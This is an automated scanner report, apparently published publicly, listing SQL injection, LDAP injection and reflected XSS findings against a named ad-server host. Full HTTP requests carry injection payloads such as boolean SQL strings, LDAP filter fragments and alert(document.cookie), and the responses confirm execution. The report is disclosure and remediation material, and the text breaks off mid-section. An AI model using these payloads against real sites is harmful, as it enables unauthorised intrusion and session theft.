XSS, Cross Site Scripting, CWE-79, CAPEC-86, tap.rubiconproject.com

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX at Tue Mar 08 07:50:33 CST 2011.


The DORK Report

Loading

1. SQL injection

1.1. http://tap.rubiconproject.com/oz/sensor [put_1430 cookie]

1.2. http://tap.rubiconproject.com/oz/sensor [put_1523 cookie]

2. LDAP injection

3. Cross-site scripting (reflected)

4. Cookie scoped to parent domain

4.1. http://tap.rubiconproject.com/oz/sensor

4.2. http://tap.rubiconproject.com/partner/agent/rubicon/channels.js

5. Cookie without HttpOnly flag set

5.1. http://tap.rubiconproject.com/oz/sensor

5.2. http://tap.rubiconproject.com/partner/agent/rubicon/channels.js

6. TRACE method is enabled



1. SQL injection  next
There are 2 instances of this issue:

Issue background

SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.

Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.

Issue remediation

The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.

You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:



1.1. http://tap.rubiconproject.com/oz/sensor [put_1430 cookie]  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://tap.rubiconproject.com
Path:   /oz/sensor

Issue detail

The put_1430 cookie appears to be vulnerable to SQL injection attacks. The payloads 16564330'%20or%201%3d1--%20 and 16564330'%20or%201%3d2--%20 were each submitted in the put_1430 cookie. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /oz/sensor HTTP/1.1
Host: tap.rubiconproject.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: put_1902=pFrKmPYNzMy9Ccea81vSnagHy5-9D53Np1zmR_H3; lm="5 Mar 2011 00:09:20 GMT"; ses15=7477^1&13531^1&12005^1; rdk9=1; put_2132=439524AE836A5E4D157CECA302E891CB; xdp_ti="5 Mar 2011 00:09:20 GMT"; put_2025=a7d02798-393f-4104-ada5-fc2c44a755c0; csi9=3172580.js^1^1299545794^1299545794&3194819.js^1^1299460723^1299460723; put_1185=8392341830659049202; rpb=4940%3D1%262341%3D1%265557%3D1%263049%3D1%266147%3D1%265901%3D1%264222%3D1%264894%3D1%266286%3D1%264214%3D1%264554%3D1%265573%3D1%265575%3D1%262188%3D1%263748%3D1%266195%3D1%266198%3D1%262028%3D1%265671%3D1%262372%3D1%265328%3D1; rdk=7469/12005; put_1523=99c93c82-afc1-4f06-bdc1-8fb83dd4c018; put_2081=KH-00000000549735899; csi15=3172581.js^1^1299459402^1299459402&3193851.js^2^1299380258^1299434520&3175993.js^1^1299380257^1299380257; __utma=58628265.419258632.1299283361.1299283361.1299330390.2; rsid=FcGERCD9s4JUW/TrcU4Dz61qa66Y1k1ire2YJBmN8SN4G8GheDmUSJ4NHOc49cA03rZJzx16pB3UdIwsGOQ+PP8TzZUxGDmBad2r6N25AKxdPo9e; dq=14|3|11|0; put_1994=6pgp44i37uxw; SERVERID=; __unam=84b15f2-12e8352bcfa-25f8d37f-6; __utmz=58628265.1299283361.1.1.utmcsr=assets.rubiconproject.com|utmccn=(referral)|utmcmd=referral|utmcct=/; put_2100=usr3fe6528d7df33180; put_1430=20108b4d-f8d0-4008-b157-1529097b61ab16564330'%20or%201%3d1--%20; put_1197=3346767141746773094; au=GKFXS0FR-AL95-10.250.119.239; khaos=GKFXT7RL-D-D539; ruid=dd0a2"-alert(document.cookie)-"693757dd992^2^1299459402^2915161843; ses9=13531^1&12005^1; csi2=3172579.js^1^1299460672^1299460672&3193850.js^1^1299380258^1299380258&3086939.js^1^1299380252^1299380252; put_1986=4470455573253905340; put_1512=4d5b2371-3928-7a83-24fb-d52328f5624b; __qca=P0-813227877-1299460762554; ses2=7477^37&12005^1; cd=false;

Response 1

HTTP/1.1 204 No Content
Date: Tue, 08 Mar 2011 12:16:42 GMT
Server: TRP Apache-Coyote/1.1
p3p: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Cache-Control: no-cache
Expires: Tue, 01 Jan 2008 00:12:30 GMT
Cache-control: private
Set-Cookie: cd=false; Domain=.rubiconproject.com; Expires=Wed, 07-Mar-2012 12:16:42 GMT; Path=/
Set-Cookie: dq=15|3|12|0; Expires=Wed, 07-Mar-2012 12:16:42 GMT; Path=/
Set-Cookie: cd=false; Domain=.rubiconproject.com; Expires=Wed, 07-Mar-2012 12:16:42 GMT; Path=/
Set-Cookie: lm="8 Mar 2011 12:16:42 GMT"; Version=1; Domain=.rubiconproject.com; Max-Age=31536000; Path=/
Set-Cookie: SERVERID=; Expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
Content-Length: 0
Connection: close
Content-Type: text/plain; charset=UTF-8

Request 2

GET /oz/sensor HTTP/1.1
Host: tap.rubiconproject.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: put_1902=pFrKmPYNzMy9Ccea81vSnagHy5-9D53Np1zmR_H3; lm="5 Mar 2011 00:09:20 GMT"; ses15=7477^1&13531^1&12005^1; rdk9=1; put_2132=439524AE836A5E4D157CECA302E891CB; xdp_ti="5 Mar 2011 00:09:20 GMT"; put_2025=a7d02798-393f-4104-ada5-fc2c44a755c0; csi9=3172580.js^1^1299545794^1299545794&3194819.js^1^1299460723^1299460723; put_1185=8392341830659049202; rpb=4940%3D1%262341%3D1%265557%3D1%263049%3D1%266147%3D1%265901%3D1%264222%3D1%264894%3D1%266286%3D1%264214%3D1%264554%3D1%265573%3D1%265575%3D1%262188%3D1%263748%3D1%266195%3D1%266198%3D1%262028%3D1%265671%3D1%262372%3D1%265328%3D1; rdk=7469/12005; put_1523=99c93c82-afc1-4f06-bdc1-8fb83dd4c018; put_2081=KH-00000000549735899; csi15=3172581.js^1^1299459402^1299459402&3193851.js^2^1299380258^1299434520&3175993.js^1^1299380257^1299380257; __utma=58628265.419258632.1299283361.1299283361.1299330390.2; rsid=FcGERCD9s4JUW/TrcU4Dz61qa66Y1k1ire2YJBmN8SN4G8GheDmUSJ4NHOc49cA03rZJzx16pB3UdIwsGOQ+PP8TzZUxGDmBad2r6N25AKxdPo9e; dq=14|3|11|0; put_1994=6pgp44i37uxw; SERVERID=; __unam=84b15f2-12e8352bcfa-25f8d37f-6; __utmz=58628265.1299283361.1.1.utmcsr=assets.rubiconproject.com|utmccn=(referral)|utmcmd=referral|utmcct=/; put_2100=usr3fe6528d7df33180; put_1430=20108b4d-f8d0-4008-b157-1529097b61ab16564330'%20or%201%3d2--%20; put_1197=3346767141746773094; au=GKFXS0FR-AL95-10.250.119.239; khaos=GKFXT7RL-D-D539; ruid=dd0a2"-alert(document.cookie)-"693757dd992^2^1299459402^2915161843; ses9=13531^1&12005^1; csi2=3172579.js^1^1299460672^1299460672&3193850.js^1^1299380258^1299380258&3086939.js^1^1299380252^1299380252; put_1986=4470455573253905340; put_1512=4d5b2371-3928-7a83-24fb-d52328f5624b; __qca=P0-813227877-1299460762554; ses2=7477^37&12005^1; cd=false;

Response 2

HTTP/1.1 204 No Content
Date: Tue, 08 Mar 2011 12:16:42 GMT
Server: TRP Apache-Coyote/1.1
Cache-Control: no-store, no-cache, must-revalidate
Cache-control: private
Set-Cookie: SERVERID=; Expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
Content-Length: 0
Connection: close
Content-Type: text/plain; charset=UTF-8


1.2. http://tap.rubiconproject.com/oz/sensor [put_1523 cookie]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://tap.rubiconproject.com
Path:   /oz/sensor

Issue detail

The put_1523 cookie appears to be vulnerable to SQL injection attacks. The payloads '%20and%201%3d1--%20 and '%20and%201%3d2--%20 were each submitted in the put_1523 cookie. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /oz/sensor HTTP/1.1
Host: tap.rubiconproject.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: put_1902=pFrKmPYNzMy9Ccea81vSnagHy5-9D53Np1zmR_H3; lm="5 Mar 2011 00:09:20 GMT"; ses15=7477^1&13531^1&12005^1; rdk9=1; put_2132=439524AE836A5E4D157CECA302E891CB; xdp_ti="5 Mar 2011 00:09:20 GMT"; put_2025=a7d02798-393f-4104-ada5-fc2c44a755c0; csi9=3172580.js^1^1299545794^1299545794&3194819.js^1^1299460723^1299460723; put_1185=8392341830659049202; rpb=4940%3D1%262341%3D1%265557%3D1%263049%3D1%266147%3D1%265901%3D1%264222%3D1%264894%3D1%266286%3D1%264214%3D1%264554%3D1%265573%3D1%265575%3D1%262188%3D1%263748%3D1%266195%3D1%266198%3D1%262028%3D1%265671%3D1%262372%3D1%265328%3D1; rdk=7469/12005; put_1523=99c93c82-afc1-4f06-bdc1-8fb83dd4c018'%20and%201%3d1--%20; put_2081=KH-00000000549735899; csi15=3172581.js^1^1299459402^1299459402&3193851.js^2^1299380258^1299434520&3175993.js^1^1299380257^1299380257; __utma=58628265.419258632.1299283361.1299283361.1299330390.2; rsid=FcGERCD9s4JUW/TrcU4Dz61qa66Y1k1ire2YJBmN8SN4G8GheDmUSJ4NHOc49cA03rZJzx16pB3UdIwsGOQ+PP8TzZUxGDmBad2r6N25AKxdPo9e; dq=14|3|11|0; put_1994=6pgp44i37uxw; SERVERID=; __unam=84b15f2-12e8352bcfa-25f8d37f-6; __utmz=58628265.1299283361.1.1.utmcsr=assets.rubiconproject.com|utmccn=(referral)|utmcmd=referral|utmcct=/; put_2100=usr3fe6528d7df33180; put_1430=20108b4d-f8d0-4008-b157-1529097b61ab; put_1197=3346767141746773094; au=GKFXS0FR-AL95-10.250.119.239; khaos=GKFXT7RL-D-D539; ruid=dd0a2"-alert(document.cookie)-"693757dd992^2^1299459402^2915161843; ses9=13531^1&12005^1; csi2=3172579.js^1^1299460672^1299460672&3193850.js^1^1299380258^1299380258&3086939.js^1^1299380252^1299380252; put_1986=4470455573253905340; put_1512=4d5b2371-3928-7a83-24fb-d52328f5624b; __qca=P0-813227877-1299460762554; ses2=7477^37&12005^1; cd=false;

Response 1

HTTP/1.1 204 No Content
Date: Tue, 08 Mar 2011 12:16:17 GMT
Server: TRP Apache-Coyote/1.1
p3p: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Cache-Control: no-cache
Expires: Tue, 01 Jan 2008 00:12:30 GMT
Cache-control: private
Set-Cookie: cd=false; Domain=.rubiconproject.com; Expires=Wed, 07-Mar-2012 12:16:17 GMT; Path=/
Set-Cookie: dq=15|3|12|0; Expires=Wed, 07-Mar-2012 12:16:17 GMT; Path=/
Set-Cookie: cd=false; Domain=.rubiconproject.com; Expires=Wed, 07-Mar-2012 12:16:17 GMT; Path=/
Set-Cookie: lm="8 Mar 2011 12:16:17 GMT"; Version=1; Domain=.rubiconproject.com; Max-Age=31536000; Path=/
Set-Cookie: SERVERID=; Expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
Content-Length: 0
Connection: close
Content-Type: text/plain; charset=UTF-8

Request 2

GET /oz/sensor HTTP/1.1
Host: tap.rubiconproject.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: put_1902=pFrKmPYNzMy9Ccea81vSnagHy5-9D53Np1zmR_H3; lm="5 Mar 2011 00:09:20 GMT"; ses15=7477^1&13531^1&12005^1; rdk9=1; put_2132=439524AE836A5E4D157CECA302E891CB; xdp_ti="5 Mar 2011 00:09:20 GMT"; put_2025=a7d02798-393f-4104-ada5-fc2c44a755c0; csi9=3172580.js^1^1299545794^1299545794&3194819.js^1^1299460723^1299460723; put_1185=8392341830659049202; rpb=4940%3D1%262341%3D1%265557%3D1%263049%3D1%266147%3D1%265901%3D1%264222%3D1%264894%3D1%266286%3D1%264214%3D1%264554%3D1%265573%3D1%265575%3D1%262188%3D1%263748%3D1%266195%3D1%266198%3D1%262028%3D1%265671%3D1%262372%3D1%265328%3D1; rdk=7469/12005; put_1523=99c93c82-afc1-4f06-bdc1-8fb83dd4c018'%20and%201%3d2--%20; put_2081=KH-00000000549735899; csi15=3172581.js^1^1299459402^1299459402&3193851.js^2^1299380258^1299434520&3175993.js^1^1299380257^1299380257; __utma=58628265.419258632.1299283361.1299283361.1299330390.2; rsid=FcGERCD9s4JUW/TrcU4Dz61qa66Y1k1ire2YJBmN8SN4G8GheDmUSJ4NHOc49cA03rZJzx16pB3UdIwsGOQ+PP8TzZUxGDmBad2r6N25AKxdPo9e; dq=14|3|11|0; put_1994=6pgp44i37uxw; SERVERID=; __unam=84b15f2-12e8352bcfa-25f8d37f-6; __utmz=58628265.1299283361.1.1.utmcsr=assets.rubiconproject.com|utmccn=(referral)|utmcmd=referral|utmcct=/; put_2100=usr3fe6528d7df33180; put_1430=20108b4d-f8d0-4008-b157-1529097b61ab; put_1197=3346767141746773094; au=GKFXS0FR-AL95-10.250.119.239; khaos=GKFXT7RL-D-D539; ruid=dd0a2"-alert(document.cookie)-"693757dd992^2^1299459402^2915161843; ses9=13531^1&12005^1; csi2=3172579.js^1^1299460672^1299460672&3193850.js^1^1299380258^1299380258&3086939.js^1^1299380252^1299380252; put_1986=4470455573253905340; put_1512=4d5b2371-3928-7a83-24fb-d52328f5624b; __qca=P0-813227877-1299460762554; ses2=7477^37&12005^1; cd=false;

Response 2

HTTP/1.1 204 No Content
Date: Tue, 08 Mar 2011 12:16:17 GMT
Server: TRP Apache-Coyote/1.1
Cache-Control: no-store, no-cache, must-revalidate
Cache-control: private
Set-Cookie: SERVERID=; Expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
Content-Length: 0
Connection: close
Content-Type: text/plain; charset=UTF-8


2. LDAP injection  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://tap.rubiconproject.com
Path:   /oz/sensor

Issue detail

The put_1994 cookie appears to be vulnerable to LDAP injection attacks.

The payloads *)(sn=* and *)!(sn=* were each submitted in the put_1994 cookie. These two requests resulted in different responses, indicating that the input may be being incorporated into a conjunctive LDAP query in an unsafe manner.

Issue background

LDAP injection arises when user-controllable data is copied in an unsafe way into an LDAP query that is performed by the application. If an attacker can inject LDAP metacharacters into the query, then they can interfere with the query's logic. Depending on the function for which the query is used, the attacker may be able to retrieve sensitive data to which they are not authorised, or subvert the application's logic to perform some unauthorised action.

Note that automated difference-based tests for LDAP injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Issue remediation

If possible, applications should avoid copying user-controllable data into LDAP queries. If this is unavoidable, then the data should be strictly validated to prevent LDAP injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into queries, and any other input should be rejected. At a minimum, input containing any LDAP metacharacters should be rejected; characters that should be blocked include ( ) ; , * | & = and whitespace.

Request 1

GET /oz/sensor HTTP/1.1
Host: tap.rubiconproject.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: put_1902=pFrKmPYNzMy9Ccea81vSnagHy5-9D53Np1zmR_H3; lm="5 Mar 2011 00:09:20 GMT"; ses15=7477^1&13531^1&12005^1; rdk9=1; put_2132=439524AE836A5E4D157CECA302E891CB; xdp_ti="5 Mar 2011 00:09:20 GMT"; put_2025=a7d02798-393f-4104-ada5-fc2c44a755c0; csi9=3172580.js^1^1299545794^1299545794&3194819.js^1^1299460723^1299460723; put_1185=8392341830659049202; rpb=4940%3D1%262341%3D1%265557%3D1%263049%3D1%266147%3D1%265901%3D1%264222%3D1%264894%3D1%266286%3D1%264214%3D1%264554%3D1%265573%3D1%265575%3D1%262188%3D1%263748%3D1%266195%3D1%266198%3D1%262028%3D1%265671%3D1%262372%3D1%265328%3D1; rdk=7469/12005; put_1523=99c93c82-afc1-4f06-bdc1-8fb83dd4c018; put_2081=KH-00000000549735899; csi15=3172581.js^1^1299459402^1299459402&3193851.js^2^1299380258^1299434520&3175993.js^1^1299380257^1299380257; __utma=58628265.419258632.1299283361.1299283361.1299330390.2; rsid=FcGERCD9s4JUW/TrcU4Dz61qa66Y1k1ire2YJBmN8SN4G8GheDmUSJ4NHOc49cA03rZJzx16pB3UdIwsGOQ+PP8TzZUxGDmBad2r6N25AKxdPo9e; dq=14|3|11|0; put_1994=*)(sn=*; SERVERID=; __unam=84b15f2-12e8352bcfa-25f8d37f-6; __utmz=58628265.1299283361.1.1.utmcsr=assets.rubiconproject.com|utmccn=(referral)|utmcmd=referral|utmcct=/; put_2100=usr3fe6528d7df33180; put_1430=20108b4d-f8d0-4008-b157-1529097b61ab; put_1197=3346767141746773094; au=GKFXS0FR-AL95-10.250.119.239; khaos=GKFXT7RL-D-D539; ruid=dd0a2"-alert(document.cookie)-"693757dd992^2^1299459402^2915161843; ses9=13531^1&12005^1; csi2=3172579.js^1^1299460672^1299460672&3193850.js^1^1299380258^1299380258&3086939.js^1^1299380252^1299380252; put_1986=4470455573253905340; put_1512=4d5b2371-3928-7a83-24fb-d52328f5624b; __qca=P0-813227877-1299460762554; ses2=7477^37&12005^1; cd=false;

Response 1

HTTP/1.1 204 No Content
Date: Tue, 08 Mar 2011 12:16:32 GMT
Server: TRP Apache-Coyote/1.1
p3p: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Cache-Control: no-cache
Expires: Tue, 01 Jan 2008 00:12:30 GMT
Cache-control: private
Set-Cookie: cd=false; Domain=.rubiconproject.com; Expires=Wed, 07-Mar-2012 12:16:32 GMT; Path=/
Set-Cookie: dq=15|3|12|0; Expires=Wed, 07-Mar-2012 12:16:32 GMT; Path=/
Set-Cookie: cd=false; Domain=.rubiconproject.com; Expires=Wed, 07-Mar-2012 12:16:32 GMT; Path=/
Set-Cookie: lm="8 Mar 2011 12:16:32 GMT"; Version=1; Domain=.rubiconproject.com; Max-Age=31536000; Path=/
Set-Cookie: SERVERID=; Expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
Content-Length: 0
Connection: close
Content-Type: text/plain; charset=UTF-8

Request 2

GET /oz/sensor HTTP/1.1
Host: tap.rubiconproject.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: put_1902=pFrKmPYNzMy9Ccea81vSnagHy5-9D53Np1zmR_H3; lm="5 Mar 2011 00:09:20 GMT"; ses15=7477^1&13531^1&12005^1; rdk9=1; put_2132=439524AE836A5E4D157CECA302E891CB; xdp_ti="5 Mar 2011 00:09:20 GMT"; put_2025=a7d02798-393f-4104-ada5-fc2c44a755c0; csi9=3172580.js^1^1299545794^1299545794&3194819.js^1^1299460723^1299460723; put_1185=8392341830659049202; rpb=4940%3D1%262341%3D1%265557%3D1%263049%3D1%266147%3D1%265901%3D1%264222%3D1%264894%3D1%266286%3D1%264214%3D1%264554%3D1%265573%3D1%265575%3D1%262188%3D1%263748%3D1%266195%3D1%266198%3D1%262028%3D1%265671%3D1%262372%3D1%265328%3D1; rdk=7469/12005; put_1523=99c93c82-afc1-4f06-bdc1-8fb83dd4c018; put_2081=KH-00000000549735899; csi15=3172581.js^1^1299459402^1299459402&3193851.js^2^1299380258^1299434520&3175993.js^1^1299380257^1299380257; __utma=58628265.419258632.1299283361.1299283361.1299330390.2; rsid=FcGERCD9s4JUW/TrcU4Dz61qa66Y1k1ire2YJBmN8SN4G8GheDmUSJ4NHOc49cA03rZJzx16pB3UdIwsGOQ+PP8TzZUxGDmBad2r6N25AKxdPo9e; dq=14|3|11|0; put_1994=*)!(sn=*; SERVERID=; __unam=84b15f2-12e8352bcfa-25f8d37f-6; __utmz=58628265.1299283361.1.1.utmcsr=assets.rubiconproject.com|utmccn=(referral)|utmcmd=referral|utmcct=/; put_2100=usr3fe6528d7df33180; put_1430=20108b4d-f8d0-4008-b157-1529097b61ab; put_1197=3346767141746773094; au=GKFXS0FR-AL95-10.250.119.239; khaos=GKFXT7RL-D-D539; ruid=dd0a2"-alert(document.cookie)-"693757dd992^2^1299459402^2915161843; ses9=13531^1&12005^1; csi2=3172579.js^1^1299460672^1299460672&3193850.js^1^1299380258^1299380258&3086939.js^1^1299380252^1299380252; put_1986=4470455573253905340; put_1512=4d5b2371-3928-7a83-24fb-d52328f5624b; __qca=P0-813227877-1299460762554; ses2=7477^37&12005^1; cd=false;

Response 2

HTTP/1.1 204 No Content
Date: Tue, 08 Mar 2011 12:16:32 GMT
Server: TRP Apache-Coyote/1.1
Cache-Control: no-store, no-cache, must-revalidate
Cache-control: private
Set-Cookie: SERVERID=; Expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
Content-Length: 0
Connection: close
Content-Type: text/plain; charset=UTF-8


3. Cross-site scripting (reflected)  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://tap.rubiconproject.com
Path:   /partner/agent/rubicon/channels.js

Issue detail

The value of the cb request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 7c428%3balert(1)//d491c38497a was submitted in the cb parameter. This input was echoed as 7c428;alert(1)//d491c38497a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

Request

GET /partner/agent/rubicon/channels.js?cb=oz_onPixelsLoaded7c428%3balert(1)//d491c38497a&pc=7469/12005 HTTP/1.1
Host: tap.rubiconproject.com
Proxy-Connection: keep-alive
Referer: http://optimized-by.rubiconproject.com/a/7469/12005/20615-9.html?
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: au=GKFXS0FR-AL95-10.250.119.239; put_2081=KH-00000000549735899; put_2025=a7d02798-393f-4104-ada5-fc2c44a755c0; put_1994=6pgp44i37uxw; put_1523=99c93c82-afc1-4f06-bdc1-8fb83dd4c018; put_2100=usr3fe6528d7df33180; put_1902=pFrKmPYNzMy9Ccea81vSnagHy5-9D53Np1zmR_H3; __utmz=58628265.1299283361.1.1.utmcsr=assets.rubiconproject.com|utmccn=(referral)|utmcmd=referral|utmcct=/; put_1512=4d5b2371-3928-7a83-24fb-d52328f5624b; put_1185=8392341830659049202; put_1986=4470455573253905340; put_2132=439524AE836A5E4D157CECA302E891CB; put_1197=3346767141746773094; xdp_ti="5 Mar 2011 00:09:20 GMT"; lm="5 Mar 2011 00:09:20 GMT"; khaos=GKFXT7RL-D-D539; cd=false; dq=12|3|9|0; put_1430=20108b4d-f8d0-4008-b157-1529097b61ab; __unam=84b15f2-12e8352bcfa-25f8d37f-6; __utma=58628265.419258632.1299283361.1299283361.1299330390.2; ruid=dd0a2"-alert(document.cookie)-"693757dd992^2^1299459402^2915161843; rsid=FcGERCD9s4JUW/TrcU4Dz61qa66Y1k1ire2YJBmN8SN4G8GheDmUSJ4NHOc49cA03rZJzx16pB3UdIwsGOQ+PP8TzZUxGDmBad2r6N25AKxdPo9e; ses15=7477^1&13531^1&12005^1; csi15=3172581.js^1^1299459402^1299459402&3193851.js^2^1299380258^1299434520&3175993.js^1^1299380257^1299380257; ses2=7477^37&12005^1; csi2=3172579.js^1^1299460672^1299460672&3193850.js^1^1299380258^1299380258&3086939.js^1^1299380252^1299380252; rdk=7469/12005; rdk9=1; ses9=13531^1&12005^1; csi9=1491388.js^1^1299460723^1299460723&3194819.js^1^1299460723^1299460723&3195084.js^1^1299434501^1299434501; __qca=P0-813227877-1299460762554; rpb=5671%3D1%265328%3D1%264940%3D1%262341%3D1%265557%3D1%263049%3D1%266198%3D1%266147%3D1%265901%3D1%264222%3D1%264894%3D1%266286%3D1%264214%3D1%262372%3D1%263169%3D1%262196%3D1%262111%3D1%262374%3D1%264554%3D1%265573%3D1%265575%3D1%262188%3D1%263748%3D1%266195%3D1

Response

HTTP/1.1 200 OK
Date: Mon, 07 Mar 2011 01:51:56 GMT
Server: TRP Apache-Coyote/1.1
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/javascript;charset=UTF-8
Content-Length: 901
Cache-control: private
Set-Cookie: khaos=GKFXT7RL-D-D539; Domain=.rubiconproject.com; Expires=Tue, 05-Mar-2019 01:51:56 GMT; Path=/
Set-Cookie: SERVERID=; Expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
Connection: close


var oo_profile={
tokenType : "0",
tracking : "",
tags : "Beauty,Arts and Entertainment,Family and Parenting,Education,Hobbies and Interests",
tagcloud : [
{ tag: "Beauty", weight: 33}
...[SNIP]...
2496,2202,2496,2203,2204,2189,2112,2497,2205,2355,2495,5838,3811,3512,2109,3812,2239,2190,2206,2113,2206,2113,4552,2765,6184,2240,4105,4193,2372,2373,2374,2375,"}
]
};


try {
oz_onPixelsLoaded7c428;alert(1)//d491c38497a(oo_profile);
} catch(ignore) {}

4. Cookie scoped to parent domain  previous  next
There are 2 instances of this issue:

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.


4.1. http://tap.rubiconproject.com/oz/sensor  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://tap.rubiconproject.com
Path:   /oz/sensor

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /oz/sensor HTTP/1.1
Host: tap.rubiconproject.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
